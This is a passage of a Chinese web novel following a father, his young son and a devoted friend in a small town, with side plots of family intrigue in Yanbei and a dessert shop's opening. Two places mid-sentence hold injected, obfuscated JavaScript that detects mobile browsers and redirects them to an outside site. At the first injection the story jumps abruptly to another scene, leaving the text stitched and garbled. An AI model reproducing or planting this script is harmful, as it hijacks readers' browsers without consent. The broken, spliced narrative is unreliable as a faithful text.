瞥见熟悉的号码,蔺宵学他平时摸小满脑袋,抬手压了下他被风吹乱的头发,起身走远了去接。 “喂?” “……你要的查的那个人,大体和警方那边没多大出入,只不过,她两年前曾在皇马做过服务员。” 16. 平安结 中秋过后,紧接七天小长假。 爬藤架上的竹灯笼还没撤下去,沈庭章又添了几只手工编织的平安结。 白天,小满就把作业抱外面桌上,写累了窝吊篮里,拨两下穗子。 “爸爸,这个真好看,小满也想自己做一只!” “好啊。” 沈庭章端来今天的餐后点心——酸枣糕,回屋找出一把红绳,手把手教。 “左手压紧了穿过去,对,就是这样……” 祁凝玉睡到日上三竿才起,见桌上的点心没人吃,拿两块搁旁边看着。没一会儿噗嗤:“沈哥,这玩意儿小孩哪学得会啊。” 冷不丁浇一泼冷水。 听出她是在笑自己手里四不像的平安结,小满鼓起腮帮哼哼,头偏到另一边。 “这东西只不过看着复杂,只要肯学,很快就能学会。”沈庭章哄小满两句,瞥她,“倒是你,起得挺早啊。” 第三块酸枣糕进嘴差点噎着,祁凝玉讪讪笑了下。 沈庭章却并不打算就这样轻轻放过:“我请你来是做客的?” “我去扫地。” “扫过了。” “那我去,擦桌子!” “擦过了。” “那我要不……洗碗?” 沈庭章叹口气,抓几根红绳推过去,“坐下,磨磨性子。” “啊?”祁凝玉不情不愿,“我不会。” “不会就学,没有谁……”说一半,沈庭章换个方式,“看小满学得多快,你不会还比不过一个小孩子吧。” “呵,呵呵,我比不过他?” 胜负欲被成功挑起,祁凝玉抓根绳子开干,嘴里还念念有词,“开玩笑,我怎么可能会输给一个小孩儿?” … 努力一下午。 两人好歹都顺利编出一只,小满开心坏了,把自己编的挂到书包上,晃来晃去。 “呼——” 祁凝玉直接累磕在桌上,翻个面儿,就看他不用人催,主动去写作业。 “真自觉。” 等沈庭章去熬准备晚上喝的鸡汤,身子歪过去,小声问:“诶!听你们口音不像本地人,哪儿来的啊。” 铅笔在纸上划出了一条长线,沈小满赶紧用橡皮擦掉,想了下才回:“北宁。” “哟——大城市啊。”祁凝玉眼珠一转,“我记得北宁离燕北挺近的,去过么?” 沈小满抓紧铅笔猛摇头,“我们,不常出门。” “那怎么想到来同里的啊?” “姐姐,你问题好多。” 祁凝玉:“……” 她咧嘴笑笑,竖起食指,“最后一个问题。你爸,跟隔壁那个蔺宵,什么关系?” 爸爸和蔺宵哥哥? “他们……” 嗡—— 手机突然振铃。 啧!祁凝玉掏出来一看来电号码,起身走到墙角接下,祁老三的声音断断续续传出: “闺,闺女啊。” “你又想干什么?”祁凝玉的声音蓦地挑高八个度,“沈哥不是刚给了你十万嘛!” “不经花啊,我保证,下次一定……” “滚!从今往后,你再也不是我爹!” 怒吼声冲出听筒,挂断。 祁老三颤颤巍巍放下手机,肿着一只眼。 周扬挑起棒球棍压肩上,往几个叠起来的大轮胎前懒洋洋一靠,扯嗓子喊:“哥,听起来没什么问题。” “嗯。” 怎么无精打采的? 周扬一回头,见他抱着手机,伸长了脖子去瞅,居然在刷朋友圈。 什么朋友圈这么好刷。 再踮踮脚,他看到了朋友圈里的一张照片,是沈哥和小满,一大一小坐在爬藤架下做手工。 细看,旁边还挂着几只竹灯笼和平安结,右下角两碟忍不住咽口水的酸枣糕。 看起来真好吃。 不知道办完事能不能去蹭两口。 哎! 没等他看完,图片骤然放大,沈哥的一张俊脸直接占满整个屏幕,手指点在了眼睛上慢慢往下滑。 眼看就要滑到嘴唇,图片又被人缩回正常大小,长按保存起来。 蔺宵猝不及防回头,抓到正在偷看的人。 “那个什么,电话让他打了,没问题。”周扬心虚地摸摸鼻子。 蔺宵倒是面不改色,“没问题才是最大的问题。” 他冷眼睨向跪在地上的祁老三,“也不排除父女一起来演这个戏。” “没有没有,绝对没有!”祁老三满脸冒冷汗,哐哐在地上磕头,“我求求你们放了我吧,大不了,我再也不去找那个兔崽子了,求求你们了。” “是么。”蔺宵朝周扬使了个眼色,接过他手里的棒球棍,走到人面前。 一把薅住他的头发,举起。 “那就等你熬过这一棍了,再说。” 嗡~ 正要砸下去,搁一旁的手机突兀震动两声。 周扬歪脖子去看,瞥见来电显示——AAA沈庭章,一个弹跳起来,把手机给他。 呼吸微停了一息,蔺宵连忙扔掉“凶器”。 周扬这会儿眼力见儿上来了,赶紧招呼旁边几个兄弟,“来来来,来两个人,堵上他的嘴带走。” 自己走最后头,稍微慢了点,听到一声温顺的“哥”,差点一个趔趄趴地上。 “……也没什么重要的事,就是问问你,晚上来不来吃饭。” “好啊,我马上回来。” … 得了回信,沈庭章挂断电话,看向对面,“这样可好?” “好极了。” 祁凝玉托着腮帮连连点头。 沈庭章不解,“怎么突然想起他来了?” 前两天,还叫他“大块头”,这会儿竟让他打电话给蔺宵。 “这不是十月第一天嘛。况且——”祁凝玉噙着笑,拖长语调:“他好听你的话啊,一打电话就回来。” “大概那边工作忙得也差不多了。” 沈庭章想:假期,酒吧人应该不多。 “是嘛。”祁凝玉拨了拨平安结的穗子,漫不经心:“我倒觉得,不管沈哥说什么,他都应好呢。” “哪有那么夸张。” 沈庭章不以为然,将鸡汤端上桌后,叫小满洗了手过来吃饭。 不到二十分钟,蔺宵风尘仆仆地来了。 吃完晚饭,沈小满迫不及待拿出今天的成果,“哥哥你看,这是小满自己做的哦。” 一只红色的平安结。 和朋友圈里刷到的一模一样。 “小满真厉害。” “嘿嘿嘿!”小满格外自豪:“这是爸爸教我的。” “难怪,院子里也看到好几只……”无意间发现祁凝玉身上也有一只这样的平安结。 沈庭章送的? 视线过于集中。 祁凝玉低头看了眼,反应过来后,扯了扯嘴角,“沈哥不光手巧,人也善呢。” “是么。” 幽怨的目光落到对面沙发上。 正在选定店铺装修风格的沈庭章:? 蔺宵:“沈哥……” “哥。”祁凝玉先一步坐到旁边,“我觉得啊,既然是甜品店,又在小学对面,风格还是温馨明亮点好。” “是个好主意。”沈庭章也正有此打算。 店铺里光线是最重要的,至于具体装修,他可以过两天去参考参考别家铺子。 祁凝玉看着大大咧咧,没个正形,却会注意到一些容易被忽略的地方。 两人讨论得热火朝天。 小满被蔺宵哥哥抱着,感觉自己的头都要被一只大手薅秃了。 终于快到睡觉时间,得了喘息,立马拿着毛巾跌跌撞撞跑去洗澡。 蔺宵不比他好多少,起身时甚至踉跄了一下磕到桌角,“沈哥既然忙,我就不打扰了。” “等一下。” 沈庭章匆忙合上装修计划书,追出门。 蔺宵出了院门就停下,仰头望着空中一轮圆月,情绪无端低落,“哥哥跟她在一起,比跟我一起放松多了,还追过来做什么。” “我们那是商量装修的事,她是女孩子,心总归更细些。”沈庭章上前伸出手,“回来见你问了两遍,想来你应该不嫌弃。” 一只平安结静静躺在手心。 蔺宵眼睛微亮,但又很快熄灭,“别人也有,不是我独一份。” “你指谁?” “祁凝玉啊,还能是谁。” 小奸细,都别腰上显摆了。 “她……”沈庭章愣了片刻,笑出声:“她那是下午和小满一起做的。” “不是哥哥送的!” 他摇摇头。 蔺宵立马满血复活,双手郑重接过那只平安结,轻抚过流苏穗子,眼底的喜爱呼之欲出。 “真好看。” “难得你会喜欢。” “只要是哥哥做的,我都喜欢。” … 第二天傍晚。 酒吧门铃轻晃。 “不好意思,我们还没到营业……” 小牧抬头,正瞧见蔺宵进来,今天穿了一身特别显瘦的黑,黑衬衣配西裤,手臂上还别了俩皮质臂环,格外有型,偏偏——腰上垂了一只大红的平安结。 “……时间。” 目光落过去,嘴巴半天没闭上。 这是什么新潮的配饰? “宵哥。” “你也觉得这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“买!肯定买。”套近乎失败,李宽宥也明白对方不好糊弄,目光转向一旁的宋老板,“您看,就还是原来谈的价格?” 宋老板微微点头,道:“一口价80万。” 蔺宵:“多少?” “80…还嫌少?” 蔺宵豁然起身,他原以为那幅临摹品顶多不超过5万,进门听他们先提到“玉竹”就觉得不大对劲,如今,居然出到80万的高价。 “敢问这位宋老板,画买回去做什么?” 镜片后眸光微闪,回:“自然是挂起来好好欣赏。” “没有其他用途了?” 问到这儿,李宽宥才算明白,他是怕画的去向不明不白,“蔺先生,这个您放心,单这玉竹先生亲笔签名就……” “好了,容我再想想吧。” “哎!蔺先生,蔺先生!”李宽宥刚追到门口,人就不见了,“欸!80不低了啊。” 原创画才能卖这么高,临摹品根本不值这个价,这人怎么钱送到手里都不要。 “宋老板,你看这……” “无妨。”没有买到画,宋老板反而很开心,“有点危机意识是对的,这次辛苦你了,下回再有玉竹先生的画还找我。” … 离开拍卖行。 宋希沉立即打车到机场,乘坐当天到燕北的航班。 下了飞机,正是清晨,直奔浮渊寺。 由小沙弥引着到后院禅房,走近先听到一阵木鱼声,也不知道从什么时候开始敲的。 他走到门口轻轻叩两声,叫:“六爷。” 等到屋内木鱼声停了,他才推门进去,关上门站在门口。 “六爷,画没买着。” 跪在佛前的素衣僧人缓缓睁开眼,眼角堆积了几条细纹。 宋希沉紧跟着又道:“我也没见到七爷,七爷是派了个人过来,那人聪明得很,一见情况不对,就不卖了。” “查到在哪儿了么。” “在一个小镇里,是宿喻州殉职的地方。” 沈鹤轩记得这个名字,死讯传回来那段日子,燕北下了很久很大的雨。 “他倒是念旧。” “那个地方……”宋希沉委婉道:“有点乱。而且徐家似乎跟那儿也有关系。” 徐家大少爷回国后就在疯狂找人,现在已经查去北宁,再这样下去,迟早会被发现。 “塞点事,转移他的注意力。” “是。” 宋希沉转身就走,推开门又听到一声极轻的“他过得还好么。” 等他回头,木鱼声再次响起,好似刚才只是他的错觉。 17. 腿疾发作 假期期间,实地走访了几家生意还算不错的甜品店后,沈庭章敲定了店铺最终风格。 彼时,蔺宵也从南宁回来,还带了些当地特产——茉莉花茶。 沈庭章当即泡了一壶。 “沈哥,那幅画……” “是不是不好卖。”他隐约猜到了,“没关系,不好卖就算了,反正再过不久就要开店了。” “不是的。”蔺宵抿口热茶,实话道:“对方出价…80万。” “80!” 之前两幅画不过120万,一幅临摹品居然能卖到这么高? “我没有答应。”蔺宵摩挲着杯子,解释:“后来我去其他字画拍卖行问过,一般临摹品是卖不到这个价位的。” 即便是他玉竹先生画的,撑死了不过30万。 就算再喜欢,无人哄抢的情况下,怎么也不该出到80这样的高价。 这其中必定有诈。 “买画的老板姓宋,不知道沈哥对这个姓有没有印象。”他直觉,那人认识沈哥。 “宋?” 到同里之前,沈庭章接触最多的就是家里佣人,里头没一个姓宋的。 “这个我不太清楚……罢了,反正我身边还有点存款,画的事先放一放吧。” 之前是他欠考虑了,玉竹没什么名气,总归还是有人知道的。 万一传去燕北,叫徐牧言找来就麻烦了。 这件事到此为止。 — 假期结束后,小满去上学,店铺装修也将提上日程。 蔺宵帮他找了这方面的熟人,初步估算,50平的店面,工期大约两个月。 “等完工都快年底了。”祁凝玉嘀嘀咕咕,话里话外嫌工期太长。 “慢工才能出细活。”沈庭章心态倒是好,“年底开业岂不正好。” 铺子位于转角,开工前,他先备了点礼物到隔壁花店打招呼。 这天,雾蒙蒙的,半阴不晴,随时都像要下雨。 花店里多开了几盏昏黄的小灯,一个跟他年岁不相上下的女人,围着墨绿色围裙,坐在小马扎上专心修剪花枝,直到他和祁凝玉走近才茫然抬起头。 放下剪刀起身,指着店内花丛比划,让他随便选。 沈庭章忽然想起,进店前看到的店名——无声,伸出手,“我是隔壁店铺的老板,不是来买花的。” 手势不是很熟练,每个字却都比划对了! 女人大喜,笑着问:有什么事。 “我打算接下来一段时间装修下铺子,可能会有点吵…乱。”沈庭章提起一盒点心递过去,“这两个月,还望你多多担待。” 女人忙往围裙上擦干净手,接过点心,摇头表示:没关系。 又问:开的什么店。 沈庭章指指她手里,“甜品店。” 女人弯了弯眼,将点心盒子放收银台上,到花丛里取了两只香槟玫瑰给他们:祝开店顺利。 沈庭章:谢谢。 这个手势,祁凝玉看懂了。 “哥,没想到你还会手语呢!” “会一点。” 谦虚了,看他和店主交流完全没问题。 “哥你怎么什么都会啊。”回到隔壁铺子,祁凝玉开始掰手指细数,“厨艺,手工,画画……现在还有手语,全能啊。” “哪有那么夸张。”沈庭章不以为然:“不过是以前,闲着也是闲着。” “哦?”祁凝玉对他的过往更加好奇,转着花枝试探:“哥以前是做什么的呀。” 轰隆隆!!! 话音刚落,屋外凭空炸开几声闷雷。 祁凝玉转身走到门口,大雨毫无征兆下了下来。 碎雨坠地,噼噼啪啪。 间或夹杂一句很轻的声音。 祁凝玉:“沈哥说什么?” “没什么。”沈庭章撑了下膝盖过来,望向屋外,“这么大的雨,现在怕是回不去了。” “是啊,没伞。” 明明天气预报说晚上才下的,居然搞偷袭。 祁凝玉双手撑脸,搁门口蹲了会儿。 雨虽然有变小,却依旧没有停的打算,她提议:“要不问隔壁那位姐姐借把伞?” “也好。” 小满还一个人在家,这孩子最怕打雷了。 沈庭章出门转到隔壁,正巧,店主拎着他送的点心盒子站在屋檐下。 一看也没带伞。 这下,只能等雨停了。 沈庭章忍不住弯腰揉了两下膝盖,不到五分钟,一辆白色小车缓缓停靠路边。 车上下来一个三十岁左右的男人,撑开伞后快步向花店店主走来,熟练打着手势:刚才打雷了,没吓着吧。 店主笑着摇头,往上提了提点心盒子,指指沈庭章。 “隔壁店老板送的?”男人这才注意到旁边,礼貌颔首:“你好,我是圆圆的老公。” 他会说话。 店主拉住他再比划:人也没带伞,还有没有。 男人想了想,“车里好像还有一把,你在这儿等一下,我去找找。” 说着,跑回后备箱翻找,好歹寻到一把遮阳伞。 “……爸爸!” 沈庭章道过谢,就要接手,远处突然传来一句嘹亮的童声。 三人先后回头,水雾朦胧里出现了只小小的鹅黄身影,脚踩蓝色雨靴,怀里抱了把伞。 旁边还跟着一个人。 走到店门外马路边,小满突然加速,一口气冲到他面前,手伸直了往上举,“爸爸,给!” “谢谢小满。”沈庭章蹲下去,捏住袖子给他擦脸上沾到的雨水。 蔺宵随后走来,“打雷以后,就瞧他扒着门口张望,估计你们出来没带伞。” “没想到这么快就下了。”沈庭章站起身,继而向花店夫妻俩介绍,“这是我儿子小满,朋友蔺宵。” 小孩儿圆滚滚的,一笑,脸颊现出两只梨涡,很有礼貌:“叔叔阿姨好~” “你好呀。”男人摸摸口袋,掏出几块奶糖。 小满双手接过,又笑:“谢谢叔叔!” 他再歪头看旁边不说话但眼神温柔的阿姨。 店主打了两个很慢的手势。 沈庭章抬手放在他脑袋上,转达:“阿姨夸你呢,说你很可爱。” 梨涡更深了。 见他有伞有人接,店主夫妻俩不再逗留。 护着妻子小心上车后,开车离开。 沈庭章也锁上店门准备回家。 刚撑开伞,祁凝玉就自觉凑过来。 “沈哥,这伞不大,不如让她一个人撑。” “……” 祁凝玉独享一把伞,和小满走在后头,偷偷咬耳朵。 “小满,是你自己要过来的?” “不是啊,是蔺宵哥哥说你们没带伞,指不定淋成落汤鸡了。” “呵呵……心机狗。” 小满不解:“心机狗是什么意思?” “就是专门指你蔺宵哥哥这种。” “蔺宵哥哥?”小满用他聪明的脑袋瓜子一想,严肃摇头:“哥哥才不是狗。” “放心吧,总有一天会变异的。” 小满:??? … 这一路走得格外漫长。 到家后,沈庭章先坐下锤了锤膝盖。 小满脱掉雨衣,赶紧跑过来给他呼呼,“爸爸是不是腿又疼了。” 祁凝玉跟着收伞,“沈哥腿怎么了?” “不过是老毛病,没什么大事。” 话虽这么说,沈庭章还是捏着疼处,歇了很久。 蔺宵一声不吭回去,拿瓶药酒,“这个专治跌打损伤,对寒症可能也有点用,沈哥不妨擦一擦揉一揉,或许能缓解些症状。” “这——”能行么? 沈庭章摸向膝盖,有些怀疑,但为了不辜负他一片心意,还是道:“多谢,你先放桌上吧。” “沈哥自己会揉么?” 祁凝玉假装不经意路过,呵呵:“他力气大,沈哥不如让他给你揉一回。” “这怎么好……” 沈庭章还想拒绝,祁凝玉顺势勾住小满下巴,将他带回房。 屋内转眼就剩两人。 蔺宵已经卷起袖子,先打来一盆热水。 沈庭章:“还是…不用了吧。” “沈哥别怕,我尽量轻些。” 话说到这份上,再拒绝就不好看了,沈庭章只得褪去鞋袜,慢慢掀起裤腿,直到膝盖上方。 “那就麻烦你了。” 目光落过去,先是两条白皙匀称的小腿。 蔺宵喉结微动,单膝跪在地毯上,一只手握住纤细的脚踝放进温度适宜的热水中。 “先泡一泡有助于足部血液循环……水温还好么。” 粗粝的指腹轻轻摩挲踝骨,沈庭章不禁缩了缩,热气上脸,后颈都好似隐隐发热。 “很,很好。” 蔺宵掬一捧水掠过脚背,掌心一寸寸往上轻轻揉捏,直至膝盖发现,下方有两处明显的疤。 “沈哥腿疼不是寒症引起的?” “几年前,不下心从楼上摔下来……”沈庭章轻描淡写,“现在已经没事了,你看,疤都快不见了,只不过下雨的时候还有点疼。” 骗人。 岂止是有点。 当时摔得一定很严重,才会连骨头都损伤了。 蔺宵轻叹口气,擦干脚给他穿上保暖袜放自己腿上,再用热毛巾敷在伤处一阵,往掌心倒几滴药酒,摩擦生热后捂住膝盖,慢慢摁压揉搓。 热意源源不断,痒痒麻麻。 沈庭章不太习惯这样的触碰,腿总忍不住想往回收,偏偏他另只手牢牢把住了小腿肚。 “哥感觉怎么样?” “好像……好了很多。” 蔺宵摁完一侧,放下裤腿接着去摁另一条,等两条腿都摁完了,再捉住脚踝,塞进棉拖。 “沈哥先试试效果怎么样,好的话,就继续用。” “……好。” 淅淅沥沥的雨持续到深夜。 夜里,沈庭章侧躺着碰向膝盖,伤处依旧热热的,比以往每个雨夜都要好过许多。 可他还是失眠了。 … 与此同时,燕北也在经历寒露过后的第一场雨。 暴雨不断冲刷紧闭的门窗,沈问月独自睡在卧房,不安地来回翻身,额上渐渐冒出一层细密的汗珠。 总是会梦到沈庭章。 年轻时的沈庭章,一年总要到沈家老宅走动两回。偶尔有一回,撞见她因为记不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13795611|144219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住钢琴谱子躲到花园偷偷哭,就手把手地教她弹。 那双手,温暖极了。 不像母亲,从来不会摸她脑袋安慰她,只会觉得她还不够优秀。 为什么会弹错? 为什么评级没有其他人高! 为什么连这一点小事都办不好。 …… 沈庭章就不会这样,他会夸她比上一次有进步,哪怕距离上次他们见面已有大半年时间,他也还是记得她。 唯一记得她的。 可从什么时候开始,那样干净美好的一个人变了。 六年前,为了养一个不明不白的小孩,不惜和爷爷闹翻,三年前,不过死了一个管家,居然崩溃到自杀? 那不是她印象里积极阳光的小叔。 她的小叔,不见了。 明明站在那里,却看不见她,再也不会对她笑。 自杀? 呵!既然这么想死,那就去死好了! 她伸出手,轻轻一推。 “啊!!!” 沈问月猛地睁眼坐起,巨大的喘息声充斥耳畔,眼睛只要稍一闭上,就是被她推下楼摔断腿的沈庭章。 “怎么了?做噩梦了?” 徐牧言不知道什么时候进来的,扯了扯领带大步走到床边坐下,一只手扣住她后脑,语气轻柔:“是不是做噩梦了?” “牧言……” 下一秒,头发被拽着往下。 “原来你也会做噩梦啊!”阴冷的声调贴近,宛若恶鬼:“今天下雨了呢,你说,小叔的腿是不是又开始疼了!” “徐牧言,你他妈放开我!” “放了你?”男人力道不减反增,抓着她的头发拖下床到化妆镜前,“知不知道每个雨天,每一个!小叔的腿都疼得睡不着!都是因为你!” “那又怎样!那是他活该!!”沈问月抱住头发,龇牙:“怎么?这是没找到人,找我撒气来了!” 徐牧言呼吸一沉,将她推倒,“没有人帮,他不可能跑得出燕北,你们…到底把他藏哪儿去了!” “藏哪儿?哈哈哈!!!”沈问月摸到一头血,转过来失声大笑,“藏哪儿,你去找啊,这辈子你都别想找到!” 面前蓦地刮起一阵风,越过她击碎化妆镜。 半晌,徐牧言抬起鲜血淋漓的手,抚上她的脸,“别让我知道是你藏的,不然,我可不保证你那个宝贝女儿会出什么事。” “徐牧言!那也是你女儿!” “那是你设计我得来的,小叔在,她才是。” 沈问月遍体生寒,等人发泄一通冒雨离开徐家大宅后,转头拨出一个号码。 “告诉六叔,徐牧言开始怀疑我了,他现在拿玉珠威胁我。为了玉珠……玉珠是我的命!” “你别慌。越是这个时候,越不能自乱阵脚,他没有十足的把握,八成是在诈你。” “可是……”沈问月到最后忍不住低泣,挂断之前哑声轻问:“小叔,在外面过得还好么。” “据说准备开家甜品店了。” “是么。小叔做的甜品……应该很好吃吧。” — 店铺装修期间,沈庭章也没闲着。一口气把能想到能做得出的甜品,全部罗列下来。 种类多达三十多种,囊括中式点心、西式甜品、吐司面包等等。 但这么多全部做出来,不仅成本是个问题,也会破坏整个店的风格。 祁凝玉:“披萨这些就算了,小孩子还是喜欢奶油千层类居多,这些中式小点心嘛,保质期偏长,要不装盒子里少做点……” 蔺宵:“吐司面包,有些人来不及吃早饭,就会拿上两三片充饥,买的人应该不少。” “爸爸,我问了同学,他们很喜欢马卡龙那种一口一个的,上课偷偷吃不会被发现哦。” …… 沈庭章听取他们的意见删删改改,最后精简到一张单子。 又分了几个星期,每隔几天做一样当餐后点心,请他们品尝。 “味道都很好。”蔺宵却有一点担心,“这些都由沈哥自己做,会不会太累了。” “对啊。”祁凝玉难得跟他意见一致,“要不沈哥再招一两个甜点师吧。” 蔺宵:“或者,可以先试营业,看情况再招。” 沈庭章认真考虑过后,点头:“这倒是个好主意。” “嘁!” 祁凝玉白眼一翻,抱着撒上芝麻的蛋卷去玩小满,最近头发长了,正适合各种五颜六色的小皮筋。 堂屋转瞬又只剩两个人。 蔺宵喝口茉莉花茶,清清嗓音:“沈哥最近,腿还疼么?” “好多了。” 沈庭章每隔三天,学着他的手法给自己揉,虽不能彻底根治,却要比以前好很多,“你那瓶药酒倒比膏药还管用。” “有用就好。”蔺宵放下茶杯,捏了捏手腕,“要不……我再给哥摁几下吧,力道不同,效果也不一样。” “还是算了。”想起上一次的不自在,沈庭章突然起身,“今天天冷,煮了羊肉锅子,我去看看火。” … 厨房里热意升腾。 掀开盖子后,沈庭章不禁用手背碰了碰发烫的脸颊。 最近天太干了么。 “哥煮的羊肉好香啊。” 18. 甜品店开业 一股热意散落颈间。 他下意识回头,差点撞到人下巴上。 连忙后退一步,大幅拉开距离,却忘了身后就是坚硬的灶台边沿。 “小心!” 蔺宵及时搂住他的腰揽进怀里。 一时间,耳边就只剩下咕嘟沸腾声。 羊肉锅子飘出的热气熏得四周白雾弥漫。 沈庭章惊惶抬眸,正对上他垂眼看下来。朦胧雾气柔和了硬挺的五官轮廓,近看后才发现,他的睫毛意外地浓密黑长。 环在腰间的手一点点收紧,慢慢向他靠近。 直到呼吸近在咫尺。 凸起的喉结上下微一滑动。 “哥哥……” “哼!我现在就去告诉爸爸你欺负我。爸爸!” 呜呜哭声,由远及近。 蔺宵闭了下眼,松开手。 下一秒,小满一头冲进厨房抱住沈庭章,指着满脑袋彩色编发,告状:“爸爸你看姐姐给我弄得。” 祁凝玉不紧不慢跟来,咔嚓咬着蛋卷,“这不挺好看的嘛,瞧瞧,多酷。” “我不要!丑死了!”小满生拉硬拽,皮筋没扯下来,倒是薅了两三根头发,疼得他又开始哭。 沈庭章赶紧关火,带他出去拆了。 走远还能听到小满抱怨,“姐姐好坏,我不要跟她玩儿了……” “哼~”祁凝玉又咬了两口蛋卷,扭头,好整以暇瞥向旁边一直盯着手看的人。 这手有什么好看的? 除非—— “哎呀呀,可惜啊,没得逞。” 蔺宵用力握紧手心,青筋暴起:“管好你自己吧,小奸细。” “你!” 祁凝玉眼睛一瞪,冲着他大步离开的背影张牙舞爪,直到完全看不见人后,冷下脸。 看来,这还真成一个弱点了。 — 临近12月,装修基本完工。 店内要用到的器材也都一一安装到位。 沈庭章择了个吉日,12月8号,周末,正式开业。 开业当天,周扬带着漫漫来捧场,顺便送了一对开业花篮。 “咦?”到的时候发现,店外居然已经有了两对。 他觑两眼蔺宵,不是吧,一出手就是两对,门口都要摆不下了。 谁料蔺宵拧着眉摇头。 他只送了一对。 另一对,一早过来就有了。 “谁啊?”周扬拿起上头的贺卡条,“这咋连名儿都不留呢。” 蔺宵其实心里已经有了人选,两个月前买画的那位宋老板,沈哥虽说不记得有这么个人,可对方明显是认识他的。 “不对。” 周扬:“怎么了?” “这花篮是跟我在同一处定的。” 未免太巧合了。 如果是那位宋老板,莫非他这些天派人跟踪自己? 这不太可能,他没有丝毫察觉。 “宵哥,别想那么多吧。”瞧他脸色越来越沉,都快把附近来看热闹的人给吓跑了,“管他谁送的呢。既然送来,就是份心意嘛。” 至少对方没恶意。 蔺宵余光扫他,“你还是去吃甜品吧。” “哎好嘞。”周扬扭头准备进去,恍恍惚惚自己好像被随便打发了,“哥不进去么?” 蔺宵隔着玻璃窗望向店内忙碌的人,上次那件事后,明显感觉到沈庭章在有意疏远他。 ……还是算了。 他还不想被讨厌。 停留一阵子,反方向走了。 恰在这时,周漫漫一手举一块慕斯过来,吃得嘴角两边都沾上了奶油,“哥哥,这个好好吃!” 周扬叹口气收回视线,嫌弃地抽两张纸给她搓。 进店以后,不到一上午时间,里头休息区就没位置了。大都是年轻小姑娘,个个向着收银台举起手机。 镜头里的男人,一身米色高领毛衣,干干净净。 “说话好温柔啊!啊啊啊!!” “妈妈,见着真的了。刚才看见我在奶油慕斯那块犹豫,推荐我半糖咧。” “听说这里所有甜品都是店主亲手做的,挖到宝藏了呀。” “不光人帅,心还细。你们看,栗子糕花生酥这类,后面还特地写了不能和什么一起吃呢。” …… 开业第一天,盛况空前。 之后更是持续近两周,热度不减。 尤其到了放学后,店里围满小孩儿,多是小满带过来的。 “小满,你爸爸真好看,高高瘦瘦的。” “头发也好多,我爸头发都掉光光了。” “我爸也是,还有个这么大的肚子。” 每回来,小满都能收到各种羡慕的目光,最近甚至还有好几封情书,都是要和他在一起的。 哼!别以为他不知道,想跟他在一起是假,接近爸爸才是真的。 他才不会这么容易就上当受骗。 “哎呀,还好啦,我爸爸也就帅了一点,高了一点,头发多了那么一点点。”小满不经意间炫爹。 直到玻璃窗外走过一个梳高马尾,穿白色毛衣裙的小女孩,连忙跳下椅子跑出去,“莹莹!” 邢晓莹抓紧双肩包回头,见是他,松了口气,“沈遇书啊,有事么。” “你怎么一个人走?今天妈妈没来接你?” 邢晓莹点了点头,“妈妈可能是还在加班。” “这样啊。”小满过去勾住她袖子,“你一个人走多不安全,来我家店里等等吧,等你妈妈来接。” 邢晓莹望向他身后明亮的店铺。 她记得这家店,前两天妈妈带她来买过面包,老板人超级好,知道她最近换牙,推荐了软乎乎的鸡蛋糕,特别香。 被拉进去,邢晓莹很有礼貌叫:“叔叔。” “爸爸,她就是莹莹哦。”小满迫不及待介绍,又道:“她妈妈没来,爸爸帮她打一下电话吧。” “好。”沈庭章蹲下摸了摸小姑娘脑袋,柔声问:“妈妈电话多少,我叫她来这里接。” 打完电话,还要二十分钟。 小满拉着人欢欢喜喜去找其他同学,随即又跑去后厨向爸爸要了自己那份双皮奶。 “小满骗人!刚才还说没有双皮奶了。” “确实没有了,这是我自己的那份。” “你的为什么给莹莹?” “我想给谁就给谁!”看莹莹被说得脸都红了,刚吃一口的双皮奶也不碰了,小满一抿嘴,指着对面咄咄逼人的黑胖子,“王小宝,你不是我们班的,为什么每次都跟过来?” “我……” “跟过来就算了,你说你没钱,我哪次没请你吃?莹莹好不容易来一次,吃得还是我那份,其他人都没说什么,碍着你什么事了。” “就是啊。” “欸?这么说,好像确实没见他给过钱噢。” “怎么这样啊。” …… 周围都是2班的,自然帮自己班上的人说话。 王小宝一个人说不过他们,又不想落下风,目光兜兜转转到正埋头苦干花生酥,两耳不闻窗外事的周漫漫身上。 她好像和沈小满玩儿挺好的。 “漫漫。” 周漫漫叼着花生酥抬头:“嗯?” “小满把双皮奶给其他女生了。” 周漫漫拍拍嘴角酥屑,满不在乎:“给就给呗。” 反正她的已经吃完了。 “没看出来吗?他不要跟你玩了。” 周漫漫豁然瞪大眼,“你在说什么啊?双皮奶跟这事有关吗?” “还看不出来么?他喜欢莹莹,才会把好吃的都留给她。”王小宝急地快口齿不清。 周漫漫默默把花生酥抱远,免得沾到他乱飙的口水,“喜欢就喜欢,又不会少我一口吃的。” 说着还抠出了两片花生酥给邢晓莹,“莹莹多可爱啊,我也喜欢莹莹,莹莹吃。” 邢晓莹红着脸,小声跟她说谢谢。 这下,王小宝彻底呆住。 后退两步,看看他们三个,又后退了两步,拿上书包转头跑了。 “他怎么了?怎么一直针对莹莹。” “他是不是讨厌莹莹啊。” “不是啊,我昨天还看他把莹莹堵墙角说喜欢她来着。是吧莹莹。” “什么!”邢晓莹还没说话,小满先炸了,“莹莹,真的吗?” 邢晓莹小口咬着花生酥点头,“不过我妈妈说,不要跟他玩儿。” “为什么呀。”其他人好奇。 邢晓莹也说不上来,妈妈提起王小宝时,总是欲言又止的,“他……不是个好孩子。” “我倒是听3班的人说了。”一个戴圆眼镜的波波头女生细声细语:“王小宝很爱说谎,他家里人也不好,爸爸超级凶,手臂上都是花纹,奶奶特爱占小便宜,妈妈……妈妈跟小满爸爸一样,也开了家甜品店。” 小满更生气了,“那他怎么还每天过来蹭吃的?” 